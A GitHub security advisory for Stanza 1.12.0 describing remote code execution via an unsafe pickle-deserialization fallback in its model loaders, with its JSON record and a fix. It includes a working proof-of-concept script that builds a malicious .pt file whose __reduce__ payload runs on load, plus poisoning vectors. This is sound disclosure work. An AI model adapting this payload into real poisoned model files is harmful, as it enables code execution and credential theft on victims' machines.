GHSA-V5JW-96JM-7H2C
Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-19 19:35Summary
Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.
An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.
Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.
Details
The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)
When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.
The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.
The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:
| File | Lines |
|---|---|
stanza/models/common/pretrain.py |
64–66 |
stanza/models/coref/model.py |
251–253, 329–331 |
stanza/models/classifiers/trainer.py |
80–82 |
stanza/models/constituency/base_trainer.py |
94–96 |
Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.
The call chain from the public API to the vulnerable fallback is:
stanza.models.common.foundation_cache.load_pretrain(path)
→ FoundationCache.load_pretrain(path)
→ stanza.models.common.pretrain.Pretrain(filename)
→ Pretrain.emb (property access triggers load)
→ Pretrain.load()
→ torch.load(..., weights_only=True) # raises UnpicklingError
→ torch.load(..., weights_only=False) # executes arbitrary pickle
PoC
Environment: Python 3.11, stanza==1.12.0, torch==2.12.0
Step 1: Install dependencies:
pip install stanza==1.12.0 torch==2.12.0
Step 2: Save the following as exploit.py:
import os
from pathlib import Path
import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX
SENTINEL = "/tmp/stanza_rce_proof"
MODEL = "/tmp/stanza_malicious.pt"
class HarmlessPayload:
"""Demonstrates execution; writes a sentinel file."""
def __init__(self, path):
self.path = path
def __reduce__(self):
return (open, (self.path, "w"))
# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
"vocab": {
"lang": "", "idx": 0, "cutoff": 0, "lower": False,
"_id2unit": words,
"_unit2id": {w: i for i, w in enumerate(words)},
},
"emb": torch.zeros((len(words), 2), dtype=torch.float32),
"payload": HarmlessPayload(SENTINEL), # ← the malicious object
}
torch.save(state, MODEL)
# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
torch.load(MODEL, lambda s, l: s, weights_only=True)
print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")
# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)
print(f"stanza={stanza.__version__} torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")
Step 3 : Run:
python exploit.py
Expected output (confirmed):
Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0 torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH
The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.
Impact
Vulnerability class: CWE-502 : Deserialization of Untrusted Data
Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:
- Developers who run
stanza.Pipeline(lang)after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds
- Research environments that share pretrain files over shared network storage or model repositories
Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include:
- Compromise of a HuggingFace model repository hosting Stanza pretrain weights
- Poisoning of a shared model cache directory (NFS, S3, artifact store)
- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo
What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.
Recommended fix:
Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
raise RuntimeError(
f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
"deserialization. Regenerate the file using a trusted Stanza migration tool."
) from e
If legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "stanza"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54499"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-676"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:35:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nStanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.\n\nAn attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. \n\nCode execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.\n\n\n### Details\n\nThe vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0):\n\n```python\ntry:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)\n```\n\nWhen `weights_only=True` is passed, PyTorch\u0027s deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python\u0027s full pickle deserializer and executes any `__reduce__` method in the file without restriction.\n\nThe fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.\n\n**The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:**\n\n| File | Lines |\n|------|-------|\n| `stanza/models/common/pretrain.py` | 64\u201366 |\n| `stanza/models/coref/model.py` | 251\u2013253, 329\u2013331 |\n| `stanza/models/classifiers/trainer.py` | 80\u201382 |\n| `stanza/models/constituency/base_trainer.py` | 94\u201396 |\n\nAdditionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch \u003c 2.6.\n\nThe call chain from the public API to the vulnerable fallback is:\n\n```\nstanza.models.common.foundation_cache.load_pretrain(path)\n \u2192 FoundationCache.load_pretrain(path)\n \u2192 stanza.models.common.pretrain.Pretrain(filename)\n \u2192 Pretrain.emb (property access triggers load)\n \u2192 Pretrain.load()\n \u2192 torch.load(..., weights_only=True) # raises UnpicklingError\n \u2192 torch.load(..., weights_only=False) # executes arbitrary pickle\n```\n\n---\n\n### PoC\n\n**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`\n\n**Step 1: Install dependencies:**\n```bash\npip install stanza==1.12.0 torch==2.12.0\n```\n\n**Step 2: Save the following as `exploit.py`:**\n\n```python\nimport os\nfrom pathlib import Path\n\nimport torch\nimport stanza\nfrom stanza.models.common.foundation_cache import FoundationCache, load_pretrain\nfrom stanza.models.common.vocab import VOCAB_PREFIX\n\nSENTINEL = \"/tmp/stanza_rce_proof\"\nMODEL = \"/tmp/stanza_malicious.pt\"\n\nclass HarmlessPayload:\n \"\"\"Demonstrates execution; writes a sentinel file.\"\"\"\n def __init__(self, path):\n self.path = path\n def __reduce__(self):\n return (open, (self.path, \"w\"))\n\n# Build a structurally valid Stanza pretrain state dict with the payload embedded.\nwords = VOCAB_PREFIX + [\"hello\"]\nstate = {\n \"vocab\": {\n \"lang\": \"\", \"idx\": 0, \"cutoff\": 0, \"lower\": False,\n \"_id2unit\": words,\n \"_unit2id\": {w: i for i, w in enumerate(words)},\n },\n \"emb\": torch.zeros((len(words), 2), dtype=torch.float32),\n \"payload\": HarmlessPayload(SENTINEL), # \u2190 the malicious object\n}\ntorch.save(state, MODEL)\n\n# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.\ntry:\n torch.load(MODEL, lambda s, l: s, weights_only=True)\n print(\"UNEXPECTED: safe load succeeded (no fallback needed)\")\nexcept Exception as e:\n print(f\"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}\")\n\n# Load through the real Stanza API. The fallback fires and the sentinel is created.\ncache = FoundationCache()\npretrain = load_pretrain(MODEL, foundation_cache=cache)\n\nprint(f\"stanza={stanza.__version__} torch={torch.__version__}\")\nprint(f\"emb_shape={tuple(pretrain.emb.shape)}\")\nprint(f\"sentinel_exists={Path(SENTINEL).exists()}\")\nprint(\"VERDICT: ACTUAL_VULN_REAL_STANZA_PATH\" if Path(SENTINEL).exists() else \"VERDICT: UNPROVEN\")\n```\n\n**Step 3 : Run:**\n```bash\npython exploit.py\n```\n\n**Expected output (confirmed):**\n```\nControl: safe load raised UnpicklingError : sentinel exists: False\nstanza=1.12.0 torch=2.12.0\nemb_shape=(5, 2)\nsentinel_exists=True\nVERDICT: ACTUAL_VULN_REAL_STANZA_PATH\n```\n\nThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.\n\n---\n\n### Impact\n\n**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data\n\n**Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim\u0027s exclusive cryptographic control. Concretely:\n\n- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub\n- CI pipelines that automatically refresh Stanza models during builds\n- Research environments that share pretrain files over shared network storage or model repositories\n\n**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:\n- Compromise of a HuggingFace model repository hosting Stanza pretrain weights\n- Poisoning of a shared model cache directory (NFS, S3, artifact store)\n- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo\n\n**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.\n\n**Recommended fix:**\n\nRemove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:\n\n```python\ntry:\n data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError as e:\n raise RuntimeError(\n f\"Refusing to load legacy pretrain file {self.filename!r} with unsafe \"\n \"deserialization. Regenerate the file using a trusted Stanza migration tool.\"\n ) from e\n```\n\nIf legacy NumPy-containing pretrain files must be supported, use PyTorch\u0027s `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.",
"id": "GHSA-v5jw-96jm-7h2c",
"modified": "2026-06-19T19:35:54Z",
"published": "2026-06-19T19:35:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-v5jw-96jm-7h2c"
},
{
"type": "PACKAGE",
"url": "https://github.com/stanfordnlp/stanza"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.